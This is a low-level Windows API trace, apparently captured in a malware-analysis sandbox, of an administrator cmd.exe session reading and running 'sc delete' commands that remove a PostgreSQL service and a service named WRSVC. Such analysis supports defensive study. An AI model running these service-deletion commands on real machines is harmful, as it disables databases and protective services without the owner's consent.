_get_osfhandle (_FileHandle=1) returned 0x120 [0072.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.324] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.324] GetFileType (hFile=0xb8) returned 0x3 [0072.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.324] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.324] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.324] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.324] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.324] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.324] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.325] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.325] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.325] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.325] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.325] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.325] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.325] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.325] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.326] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.326] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.326] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.326] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.326] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.326] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.326] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="Wpostgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.326] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.326] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.326] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="Rostgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.326] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.326] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.326] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Sstgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.326] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.326] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.326] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="Vtgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.326] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.326] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.326] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Cgresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.326] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.327] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.327] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.327] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.327] GetFileType (hFile=0xb8) returned 0x3 [0072.327] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.327] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.327] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.327] GetFileType (hFile=0x120) returned 0x3 [0072.327] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete WRSVC\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete WRSVC\n", lpUsedDefaultChar=0x0) returned 17 [0072.327] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x10, lpOverlapped=0x0) returned 1 [0072.327] GetProcessHeap () returned 0x4a0000 [0072.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.327] GetProcessHeap () returned 0x4a0000 [0072.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.327] GetProcessHeap () returned 0x4a0000 [0072.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.327] GetProcessHeap () returned 0x4a0000 [0072.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.327] GetProcessHeap () returned 0x4a0000 [0072.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c) returned 0x4b6510 [0072.327] GetConsoleOutputCP () returned 0x1b5 [0072.327] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.328] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.328] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6550 [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0072.328] SetErrorMode (uMode=0x0) returned 0x1 [0072.328] SetErrorMode (uMode=0x1) returned 0x0 [0072.328] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.328] SetErrorMode (uMode=0x1) returned 0x1 [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0072.328] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.328] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.328] GetProcessHeap () returned 0x4a0000 [0072.328] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.329] GetProcessHeap () returned 0x4a0000 [0072.329] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.329] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.329] GetProcessHeap () returned 0x4a0000 [0072.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.329] GetProcessHeap () returned 0x4a0000 [0072.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.329] GetProcessHeap () returned 0x4a0000 [0072.329] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.329] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.329] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.329] GetLastError () returned 0x2 [0072.329] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.329] GetLastError () returned 0x2 [0072.329] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.329] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.329] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.330] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.330] GetLastError () returned 0x2 [0072.330] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.330] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.330] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.330] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.330] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.330] GetProcessHeap () returned 0x4a0000 [0072.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.330] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.330] GetProcessHeap () returned 0x4a0000 [0072.330] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x98) returned 0x4b9180 [0072.330] GetProcessHeap () returned 0x4a0000 [0072.330] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x98 [0072.330] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete WRSVC") returned 1 [0072.331] GetProcessHeap () returned 0x4a0000 [0072.331] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.331] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.331] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.331] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.331] GetProcessHeap () returned 0x4a0000 [0072.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.331] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.332] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.332] GetProcessHeap () returned 0x4a0000 [0072.332] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.332] GetProcessHeap () returned 0x4a0000 [0072.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.332] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete WRSVC", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete WRSVC", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete WRSVC", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x824, dwThreadId=0x844)) returned 1 [0072.335] CloseHandle (hObject=0x50) returned 1 [0072.335] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.335] GetProcessHeap () returned 0x4a0000 [0072.335] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.335] GetEnvironmentStringsW () returned 0x4c1b10* [0072.336] 